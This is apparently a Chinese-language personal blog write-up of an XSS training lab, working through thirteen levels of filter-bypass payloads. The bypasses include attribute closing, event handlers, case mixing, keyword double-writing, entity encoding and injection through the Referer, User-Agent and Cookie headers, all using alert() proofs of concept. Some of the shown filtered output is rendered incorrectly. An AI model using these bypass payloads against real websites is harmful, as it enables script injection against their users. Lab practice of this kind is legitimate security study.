XSS练习
网址:https://xss.tesla-space.com/
level1
url中有参数传递,直接修改name参数为
1 | <script>alert()</script> |
来发出弹窗,成功
level2
通过input传递参数,仍尝试使用
1 | <script>alert()</script> |
来发出弹窗,失败,通过抓包发现在第一处输出点的
1 | <script>alert()</script> |
变成了预定义字符
1 | <script>alert(1)</script> |
即代码被过滤了,向下寻找下一个输出点,发现
1 | <form action=level2.php method=GET> |
由于script标签被包裹在value=“”里,无法被识别为代码,可通过“,来提前闭合,并且加入>来闭合input标签
1 | "><script>alert()</script> |
成功。
level3
通过input传递参数,仍尝试使用
1 | <script>alert()</script> |
来发出弹窗,失败通过抓包发现在第一处输出点的
1 | <script>alert()</script> |
变成了
1 | <script>alert(1)</script> |
即代码被过滤了,向下寻找下一个输出点,发现
1 | <form action=level3.php method=GET> |
第二处输出点也变成了预定义字符
1 | <script>alert(1)</script> |
也被过滤了,尝试
1 | "><script>alert()</script> |
得到
1 | <form action=level3.php method=GET> |
发现”被转换成了
1 | " |
并且发现value的值是用‘’来包裹的,于是尝试
1 | '><script>alert()</script> |
失败,并且发现>也被转成了预定义字符,所以无法对input标签进行闭合,于是考虑在input标签内定义属性事件的方式来触发弹框,即
1 | 'onclick=alert() |
发现失败,但通过抓包发现问题
1 | <form action=level3.php method=GET> |
onclick=alert()后多了一个’,导致alert()没有成功弹窗,修改为
1 | 'onclick='alert() |
最后随便点击文本框就触发了弹窗,成功
level4
通过input传递参数,仍尝试使用
1 | <script>alert()</script> |
来发出弹窗,失败通过抓包发现在第一处输出点的
1 | <script>alert()</script> |
变成了
1 | <form action=level4.php method=GET> |
发现<>被过滤了,即<>无法使用,那么可以考虑使用属性事件
1 | "onclick=alert() |
失败,通过抓包发现
1 | <form action=level4.php method=GET> |
onclick=alert()”缺了做半边的”,修改后
1 | "onclick="alert() |
点击文本框,成功
level5
通过input传递参数,仍尝试使用
1 | <script>alert()</script> |
来发出弹窗,失败,并且发现script标签被过滤
1 | <form action=level5.php method=GET> |
那么尝试使用属性事件
1 | "onclick="alert() |
发现也被过滤了
1 | <form action=level5.php method=GET> |
那么考虑使用大小写
1 | "OnCliCk="alert() |
发现还是被过滤了,尝试使用a标签的href属性来触发js代码
1 | "><a href=javascript:alert()>链接</a> |
点击链接,成功
level6
通过input传递参数,仍尝试使用
1 | <script>alert()</script> |
来发出弹窗,失败通过抓包发现在第一处输出点的
1 | <script>alert()</script> |
变成了
1 | <form action=level6.php method=GET> |
发现script被过滤了,即无法使用,那么可以考虑使用属性事件
1 | "onclick="alter() |
发现也被过滤了
1 | <form action=level5.php method=GET> |
那么考虑使用大小写
1 | "Onclick="alert() |
点击文本框,发现成功
level7
通过input传递参数,仍尝试使用
1 | <script>alert()</script> |
来发出弹窗,失败通过抓包发现在第一处输出点的
1 | <script>alert()</script> |
变成了
1 | <form action=level7.php method=GET> |
考虑双写
1 | <scrscriptipt>alert()</scrscriptipt> |
发现成功输出了
1 | <script>alert()</script> |
最后进行闭合
1 | "><scrscriptipt>alert()</scrscriptipt> |
成功
level8
通过input传递参数,仍尝试使用
1 | <script>alert()</script> |
来发出弹窗,失败,检查发现
1 | <a href="<scr_ipt>alert()</scr_ipt>">友情链接</a> |
尝试使用href属性来触发js
1 | javascript:alert() |
发现
1 | <a href="javascr_ipt:alert()">友情链接</a> |
javascript被过滤,尝试大小写
1 | Javascript:alert() |
发现还是被过滤,那么尝试使用编码绕过
1 | javascript:alert() |
成功(注:J为t的编码,x是标明为16进制)
level9
通过input传递参数,仍尝试使用
1 | <script>alert()</script> |
来发出弹窗,失败,检查发现
1 | <form action=level9.php method=GET> |
转换成了预转义字符,并且
1 | <a href="您的链接不合法?有没有!">友情链接</a> |
发现对链接的格式有检查,那么使用js格式应包含http://,尝试
1 | javascript:%0dhttp://%0dalter() |
(注:%0d为回车的编码,用%oa空格的编码也可以)
发现
1 | <a href="javascr_ipt:%0dhttp://%0dalter()">友情链接</a> |
即javascript被过滤了,尝试使用编码绕过
1 | javascript:%0dhttp://%0dalert() |
成功
level10
进入页面发现并没有输入点,但通过抓包发现存在隐藏的表单
1 | <form id=search> |
尝试使用这三个参数来进行输入,在url后添加
1 | ?t_link=1&t_history=2&t_sort=3 |
拦截响应包,发现
1 | <form id=search> |
即只有t_sort参数正常传参,那么可以考虑使用t_sort来传输
1 | ?t_sort=<script>alert()</script> |
发现返回的响应包中的<>被过滤
1 | <form id=search> |
那么尝试使用onmoucemove
1 | ?t_sort=onmousemove=alert() |
返回的响应包为
1 | <form id=search> |
发现可行,对输入进行闭合
1 | ?t_sort="onmousemove="alert() |
但是发现还是不行,这是由于这个input标签被隐藏了,我们的鼠标无法在这个被隐藏的input标签上移动,那么可以尝试修改type为text
1 | ?t_sort="type="text"onmousemove=alert() |
发现隐藏的文本框被现显示出来了,鼠标划过时,成功弹窗
level11
进入页面,发现在url中用keyword参数作为输入点,对其进行尝试
1 | <script>alert()</script> |
得到的响应包中
1 | 没有找到和<script>alert()</script>相关的结果. |
说明代码被转换成了预转义字符,那么寻找其他的输入点,在响应包发现隐藏的form表单
1 | <form id=search> |
对这四个参数进行尝试
1 | ?t_link=1&t_history=2&t_sort=3&t_ref=4 |
在响应包中发现仅有t_sort成功输入
1 | enter> |
尝试使用
1 | ?t_sort=<script>alert()</script> |
在响应包发现被转换成预转义字符
1 | <form id=search> |
对其进行闭合
1 | ?t_sort="<script>alert()</script> |
失败,此时发现这两个输入点都被转换为了预转义字符,那么要找其他的输入点,我们对level11的原始页面进行抓包,发现
1 | <form id=search> |
t_ref参数似乎指向level10,也就是我们的来源,类似XFF,那么我们直接对它的请求包进行修改,由
1 | Referer: https://xss.tesla-space.com/level10.php?t_sort=%22%20type=%22text%22%20onmousemove=%22alert() |
修改为(类似level10)(在后面有一个”,我们也要对它闭合)
1 | Referer: "type="text"onmousemove="alert() |
鼠标划过,成功弹窗
level12
对level12原始页面进行抓包
1 | <form id=search> |
发现隐藏表单,t_ua参数指向User-Agent,在请求包中对其进行修改
1 | User-Agent: "type="text"onmousemove="alert() |
鼠标划过,发现成功
level13
对level13原始页面进行抓包
1 | <form id=search> |
1 | Cookie: user=call+me+maybe%3F |
发现t_cook参数指向的是cookie,对其进行修改
1 | Cookie: "type="text"onmousemove="alert() |
通过
错误注记
1.中文输入法错误
2.alert拼写错误
3.未检查末尾是否有”,并对其闭合
- 本文作者: 林姜
- 本文链接: http://example.com/2024/11/24/XSS练习/